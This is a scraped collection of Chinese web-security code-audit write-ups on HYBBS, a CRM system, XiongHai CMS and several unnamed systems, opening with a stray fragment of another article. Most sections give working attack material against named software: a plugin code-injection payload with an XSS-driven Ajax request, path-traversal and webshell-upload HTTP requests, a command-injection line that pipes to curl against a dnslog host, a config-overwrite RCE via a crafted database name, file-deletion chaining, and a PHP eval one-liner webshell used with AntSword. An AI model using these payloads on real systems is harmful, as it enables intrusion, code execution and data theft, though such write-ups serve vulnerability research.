%SystemRoot%System32WinevtLogsSecurity.evtxLinux日志分析每日坚持分享好工具好资源,麻烦各位师傅文章底部给点个“再看”,感激不尽欢迎关注 系统安全运维 觉得不错点个“赞”、“在看”哦 本文始发于微信公众号(系统安全运维):蓝队攻防|系统日志审计
阅读全文
审计|通读审计之HYBBS(Getshell)下篇 代码审计

审计|通读审计之HYBBS(Getshell)下篇

本篇文章由团队成员提供:HeiHu577本文章已在FreeBuf发表上篇:审计|通读审计之HYBBS 上篇RedCode-HeiHu577,公众号:RedCode Team审计|通读审计之HYBBS(内附原创漏洞)上篇0x04 后台上传getshell当然了,谈起黑盒测试大家经常会进入后台找一个心仪的上传点,该CMS也是存在“允许上传文件的配置项”的问题的,笔者在后台直接进行fuzz结果是确实可以进行文件上传的。随便找一处上传点直接上传PHP文件。像我们平时比较忙的时候,也有XSS收信没有收到的情况,这个时候我们需要配合Ajax一键getshell了。毕竟这是个守株待兔的过程。但是笔者发现该上传点不利于配合Ajax。在此处抓包我们看一下admin类下的op成员方法是如何处理的。...部分是接收一系列POST请求,为了方便截图暂时换成... , 可以看到将配置文件写入到./Conf/conf.php文件中,我们打开看一下。一个JSON文件,如果我们将POST请求改为如下:重要的信息都被接收为“空”,网站直接die掉了0x05 后台插件getshell笔者在后台左点右点,挖掘到了第二个getshell点。在 插件 --- 制作插件 中。此处进行抓包在admin类下的code方法,我们看一下处理逻辑。没有做任何过滤,直接引入file_put_contents函数中。那么构造Payload:name=&gn=add&name=111',phpinfo(),//&name2=3&user=1&mess=1如图:Phpinfo:而且php并没有禁止直接访问。0x06 构造一个Ajax请求为什么笔者非要构造Ajax来配合Xss,直接构造表单发送POST请求不香嘛?在Admin.php的__construct方法中有这样一段代码:验证了referer,并且refere不能为空。这个时候我们配合XSS来实现CSRF。构造一个远程的Js:$.ajax({ url: "/?admin/code", data: {name: '111',phpinfo(),//',gn:'add',name2:'3',user:'1',mess:'6'}, type: "POST", dataType: "json", success: function(data) { }})外部引入结果:发送请求生成恶意文件访问由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 原文始发于微信公众号(RedCode Team):审计|通读审计之HYBBS(Getshell)下篇
阅读全文
无源码环境下的代码审计之旅 代码审计

无源码环境下的代码审计之旅

分享一下前段时间遇到的系统无源码(不开源)的代码审计(捡漏)tips任意文件读取/下载  在线审计n(1)day -> 0daygetshell后 打包源码 是否出现常见漏洞组件或框架(编辑器/shiro/fastjson等)目录案例1: 文件下载->RCE案例2: nday -> 0day(任意文件下载+RCE)案例3: 使用了存在漏洞的框架(RCE)案例4: 使用了存在漏洞的编辑器(SSRF)...案例1找到一处文件下载的地方GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xmlAccept-Encoding: gzip, deflate‍burp抓包,换为post请求发现可下载任意文件POST /download HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xmlAccept-Encoding: gzip, deflatemodule=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml读取日志文件判断class文件的位置POST /download HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept: text/html,application/xhtml+xml,application/xmlAccept-Encoding: gzip, deflatemodule=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log下载class文件分析审计在/download路由下的servlet存在上传文件和更新文件的操作首先上传一个空文件到web目录:POST /download HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xmlAccept-Encoding: gzip, deflatemodule=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/ 再更新文件内容为webshell:POST /download HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xmlAccept-Encoding: gzip, deflatemodule=&method=updateContent&home=/&filepath=../webappsdebugx.jsp&content=xxxxxx()案例2某系统存在弱口令+后台RCE,打包源码# 打包源码tar -zcvf /usr/abc/www/xx.tar.gz /usr/abc/www/# 下载源码http://www.xxx.com/xx.tar.gz# 删除压缩包rm -f xx.tar.gz下载后进行代码审计任意文件下载 1枚后台RCE 1枚任意文件下载代码如下很明显的漏洞点,可用../进行目录穿越构造poc/?c=backup&a=download&file=../../../../../../../../../etc/passwd后台RCE代码如下同样,也是明显的漏洞点,直接拼接了没经过滤的参数destip构造poc/?c=maintain&a=iptracepost:destip=127.0.0.1|curl q2tsgk.dnslog.cn案例3某系统使用了存在漏洞的框架通过目录扫描/探测发现了该系统存在路径 vendor/phpunit/src/Util/PHP/eval-stdin.php瞬间想起了之前复现过的漏洞漏洞框架:PHPUnit漏洞编号:CVE-2017-9841直接用工具打一波提取指纹,看看互联网案例影响范围还行,拿shell, 借用源码,继续审计。案例4某oa系统使用了存在漏洞的编辑器使用nday拿到shell, 打包源码下载,然后进行代码审计。在其目录机构中发现了ueditor构造poc/ueditor/jsp/controller.jsp?action=catchimage&source=http://dnslog.cn/test.jpg找了张当时刚捡到漏洞并验证的截图ps:欢迎一'点'三连(点分享+点赞+点在看) 本文始发于微信公众号(don9sec):无源码环境下的代码审计之旅
阅读全文
某客户关系管理系统代码审计 代码审计

某客户关系管理系统代码审计

本文首发于奇安信攻防社区社区有奖征稿· 基础稿费、额外激励、推荐作者、连载均有奖励,年度投稿top3还有神秘大奖!· 将稿件提交至奇安信攻防社区(点击底部 阅读原文 ,加入社区)点击链接了解征稿详情开始日常打开fofa, 确认目标后,右键检查页面源代码。没有版权信息无法确认是哪个cms. 确定特征值后再fofa(这样找到源码的记录会大大提升) ,翻来翻去, 找到了疑似官方演示站点.进行子域名收集, 收集到三个子域名先翻一翻. 在开源信息页面找到了项目提供的源码地址.V1重复安装覆写配置文件导致RCE该cms用了低版本的 mysql_connect 语法. 我这里的PHP用了 5.4.45, 搭建好后不会自动跳转到安装页面. 只能手动跳转 /install/。正常安装一遍后, 我刷新页面. 再次进入了安装选项页面,可以再安装一次. 开始分析源码。看源码是有安装检测的. 但这个文件我却没找到, 目录中根本没有source文件夹.获取到参数时,只是简单删除前后空字符. 没有验证消毒等操作(往后也没有)。整个配置文件内容定义在 $config_contents 变量中( <?php return array(); ?> ), 参数也只是普通的字符串拼接起来, 参数可控,如果能逃逸就rce了。这里选择从数据库名称$dbname下手, 服务器连接地址, 数据库用户名密码不好用特殊字符, 而数据库会检测是否存在如果不存在就会创建, 但是创建数据库这里也没法使用特殊字符.除非数据库名称用反引号包裹create datab ase `datab ase name`;create datab ase `test'1`;准备一个远程 mysql服务器, 创建好特殊名称的数据库. 然后重新安装站点CREATE DATAb ase `'.e val($_GET)//`;安装成功.打开页面,_mkdir()方法未定义非常幸运, _mkdir()的调用,在 e val的后面.跳转到定义函数, 复制函数的定义的语法就好了. 不用复制函数内容payload 如下.function _mkdir($dir,$mode=0777){};system('whoami');V2任意文件删除漏洞+安装覆写配置文件导致RCE配置文件覆写导致RCE初打开页面后是个报错. 丢失Config.php盲猜是没有安装所以没有生成该文件.手动跳转 /install/, 这次有安装检测了. 安装的话需要先删除install目录下的lock文件打开/install/index.php, write_config()是写入配置的函数. 依旧是没有进行任何过滤消毒. 和V1不同的是他这次不采用字符串拼接的方式了. 而是使用替换, 配置文件的目录改为/ERP/Config/Config.php了。看一下文件模板/install/data/config.php,虽然改成替换字符. 但没有验证消毒等操作. 问题还是存在的而且在 /install/index.php 111行中创建数据库的语句加上了 反引号, 输入特殊字符也能执行成功. 不需要提前准备数据库了删除/install/lock文件, 尝试安装, 验证是否存在漏洞使用和V1同样的payload, 成功执行这时如果有办法删除/install/lock文件, 就可以无条件RCE了任意文件删除漏洞全局搜索unlink由是这个Upload.class.php, 可以看到只是拼接了一个 . 而非./,所以并没有做到对路径的限制.跟进 _REQUEST()方法, 够方便的…,如果GET中没有数据, 那就在POST中拿数据.跟进unlink_file()方法, 还是没有对参数进行验证,简单判断文件是否存在就执行unl ink()删除文件了dir_replace()方法只是修理一下目录分割符.尝试访问index.php/Upload/upload_img_remove/, 存在未授权访问. 报错是因为没法删除 .,组合RCE访问/index.php/Upload/upload_img_remove/?imgfile=/install/lock, 成功删除/install/lock文件再次访问/install/, 成功进入安装界面.再次安装站点,和V1一样的数据库名称. 但这次不需要自己创建了.成功.(V1、V2)SQL注入漏洞(同一个数据库抽象类)整个cms, SQL语句和参数几乎都是用字符串拼接的. 而且是拿到参数后直接拼接. 没有任何验证消毒等操作.跟进Framk/Datab ase.class.php->Datab ase->findAll()方法, 使用了PDO,但同样都没有过滤直接将拼接好的SQL语句去执行,直接就可以用sqlmap打穿. 密码还是明文存储的.(V1、V2)未授权访问任意文件上传漏洞(同一个基类)·全局搜索move_uploaded_file发现了, Crm/Action/Upload.class.php->Upload->upload_img_save(). 他分离了文件名和后缀名并没有验证. 而是重新生成文件名后拼接原本的文件后缀. 121行的 $pictype 也没有进行验证.根据他的路由习惯, 直接访问 /index.php/Upload/upload_img_save/,直接为我们写好了html上传个phpinfo(),试一下. 上传成功后路径有回显成功解析.END【版权说明】本作品著作权归JOHNSON所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。JOHNSON一个每天都在努力追赶大佬脚步的小白敲黑板!转发≠学会,课代表给你们划重点了复习列表硬核黑客笔记-不聪明的蓝牙锁你的跑步打卡数据是真实的吗?Celery Redis未授权访问利用漏洞验证框架的构思与实现施耐德PLC认证绕过漏洞分析Chromium issue 1187403 分析分享、点赞、在看,一键三连,yyds。点击阅读原文,加入社区,获取更多技术干货! 本文始发于微信公众号(补天平台):某客户关系管理系统代码审计
阅读全文
熊海CMS1.0代码审计 代码审计

熊海CMS1.0代码审计

首先打开Seay审计系统,把我们的xhcms丢进去审计一下,我们这里是要找XSS,我们直接搜索关键字echo,看看有没有可以利用的地方 我们这里审计漏洞必须同时满足参数可控和危险函数两个条件,echo就是一个,我们这里需要找可控变量,如果变量不可控我们没法对他进行利用,因为我们这里先看了一下index.php,发现他是通过传一个参数进去,自动拼接.php来访问files目录下的文件,所以这里可能会有文件包含漏洞,我们在下面会讲,这里只是先说明他前台的功能点应该都在files文件夹下,我们直接审计files目录下的文件即可 1234567<?phperror_reporting(0); $file=addslashes($_GET); $action=$file==''?'index':$file; include('files/'.$action.'.php'); ?> 这里我们看到286行有个echo $page,我们去定位一下这个page变量是怎么被赋值的 这位于contact.php文件下,所以我们构造payload验证一下即可 这里如果用alert(‘xss’)是不行的,因为他有一个addcslashes() 函数,会自动转义特殊字符 熊海CMS1.0代码审计之文件上传使用自动审计功能审计出来是在/seacmsditor/php/Uploader.class.php文件下,我们进去看看 发现他是UEditor编辑器,找了半天,只有后台有上传点,不管他,先审计看看 发现他这里有一个checktype()函数,我们定位到他定义的位置看看,他这里是判断getfileext函数得出来的结果是否在config里 我们继续追踪看看config和getfileext()这两个分别是什么,getFileExt()他自己注释了,是获取文件拓展名,和我们自己分析的一样,把文件名最后一个点后面的字符串输出并转换成小写,这里config没找到,但是按他名字来说应该是允许上传的文件类型,然后判断当前上传的文件的拓展名和允许上传的图片的类型进行比对,这里是一个白名单验证吧,这里可以上传图片马,因为后面还有文件包含漏洞可以配合getshell 熊海CMS1.0代码审计之文件包含这里文件包含挺明显的,反射型XSS那里大概也讲过 1234567<?phperror_reporting(0); $file=addslashes($_GET); $action=$file==''?'index':$file; include('files/'.$action.'.php'); ?> 传入一个r,拼接一个.php,在files目录下,我们这里只要让他拼接的这个.php失效就可以了,我们这里可以使用文件名最大长度限制来绕过这个.php,我这里之前就上传好了一个图马内容是 1<?php @eval($_POST); ?> 由于他当前目录是在files下,我们的图片在uploadimage20210804下,所以需要构造一下 Payload: 1xhcms.com/?r=../upload/image/20210804/1628077724603047.jpg............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................. 这里有个坑:这里如果要用最大字符绕过的话,好像需要满足特定条件 Virtual Directory Support = enabled 并且目前测试的版本是php5.2.17,其他貌似不行 熊海CMS1.0代码审计之越权访问我们这里先登录到后台,抓一个后台的包 包里的cookie有个user=admin 这就比较可疑,猜测有没有越权访问漏洞,先把cookie清了,重新抓个包验证一下 我们可以看到,这里的user随便输了一个,都是可以进去的,所以他存在越权访问漏洞 但是这里为什么会出现越权访问呢,我们来看看他的源代码 这个cms的配置文件都是inc目录下,我们在inc目录下,应该是checklogin.php这个文件 1234567<?php$user=$_COOKIE;if ($user==""){header("Location: ?r=login");exit; }?> 我们可以看到,他这里只是判断user有没有接收到值,没有判断user具体是什么 如果user没有值,就返回登陆界面,这还不出大问题,账号密码形同虚设啊。 熊海CMS1.0代码审计之存储型XSS熊海cms前台有个留言板,考虑能不能有XSS可以利用 我这里前台的留言貌似有点问题,验证码一直提示错误,那我可以在后台里给他添加一条xss的评论 然后访问前台的留言界面,触发了xss 直接找出后台更新留言的源代码 12345678910111213$query = "UPDATE interaction SET xs='$xs',name='$name',mail='$mail',url='$url',touxiang='$touxiang',content='$content',tz='$tz',rip='$rip',rshebei='$rshebei',rcontent='$rcontent',rdate=now() WHERE id='$id'";@mysql_query($query) or die('修改错误:'.mysql_error()); 这里也没有进行任何过滤,直接就丢到数据库里了,导致XSS漏洞 熊海CMS1.0代码审计之CSRF漏洞我们在后台的文章管理这里,发现可以删除文章,那这里有没有CSRF漏洞可以利用呢 我们尝试劫持管理员的权限去删除文章,然后抓一个删除文章的包,这里也没有token验证啊,很可能存在CSRF 使用burp自带的CSRF的POC生成功能,把html代码复制到本地 熊海CMS1.0代码审计之SQL注入搭建起来的演示站有点小问题,后续更新 利用文件包含获取webshell我们通过前面的文件包含学习知道了可以通过首页的include函数直接包含一个XXX.XXX.php的文件,其中XXX.XXX是我们传的参数,index.php会自动拼接一个.php后缀,这时我们如果需要getshell就需要把其中的.php给截断,这里用到的是用windows文件名的最大长度是260字节来进行截断,除此之外,include在变量action前还拼接了一个”files/“,所以这里我们在文件包含的时候特别要注意一下被包含的文件和index.php之间的位置关系 既然知道了具体的原理,那我们这时候就需要来getshell。文件包含可以把包含的文件用来作为php来执行,既然要用到包含,那他网站所处的目录或者下级目录下面必须要有我们需要包含的文件,此时我们又不知道他文件目录下有什么文件可以利用,因此我们首先需要想要上传一个文件。 看完熊海cms的前台,找不到可以上传文件的地方,这时候我们去后台寻找。经过寻找我们可以发现在后台-发布内容-发表文章下面可以进行图片的上传,这时候我们只需要新建一个txt文档,然后输入我们的php一句话木马: ,把这个txt文档改为jpg后缀,通过后台-发布内容-发表文章这个上传点来把我们的图片上传 上传好了webshell,我们如果需要使用菜刀等工具必须得先知道他上传后文件的路径(这里我们无法使用菜刀,可能只能使用蚁剑),只需要用浏览器的审查元素功能(F12)就可以找到我们上传图片的地址。(可以手动访问一下看看文件是不是存在) 知道文件上传地址之后,我们先使用我们的工具hackbar来测试我们上传的webshell是不是可以执行,这时候我们只需要在hackbar里面先使用load加载url地址(这里的url地址需要我们构造好文件包含后的地址),在POST data里面填写shell=phpinfo();,然后点execute如果网页显示出了phpinfo()页面,就表示我们的webshell可以执行,判断完webshell是否可以执行之后,我们用webshell管理工具-蚁剑来进行连接,url地址填文件包含以后的地址,连接密码填我们一句话木马里用post方法传的变量(这里我们可以使用谷歌浏览器里的一个插件叫hackbar) 连接成功 坑1:我们使用蚁剑连接时,需要选择base64编码,如果选默认的会无法连接是因为default(默认)通信过程不采编码与加密操作,明文传输(不推荐,特殊字符会被转义导致出错)这是乱码的图 这里再介绍一下windows下的另外一种包含的方法,这里举两个例子 直接从例子里面可以看出来,传入file=5<参数就可以包含到了我们的596a62sd.php(这是随便取的),大概原理根据windows的一些特性,我们输入的<会转换成,而被转换的类似于linux中的通配符,所以这里就可以利用这个特性来用<进行文件包含。具体解析可以看 http://www.jinglingshu.org/?p=8790 这篇文章介绍的 相关推荐: 初探Java反序列化漏洞(二)不能食言,再晚也要写✔ 0x01 Java反射反射之中包含了一个「反」字,有「反」就会有「正」,那么解释反射就必须先从「正」开始解释。一般情况下,当使用某个类时必定知道它是什么类(类名),是用来做什么的(类的属性和方法)。于是我们直接对这个类进行实例化,之后使…
阅读全文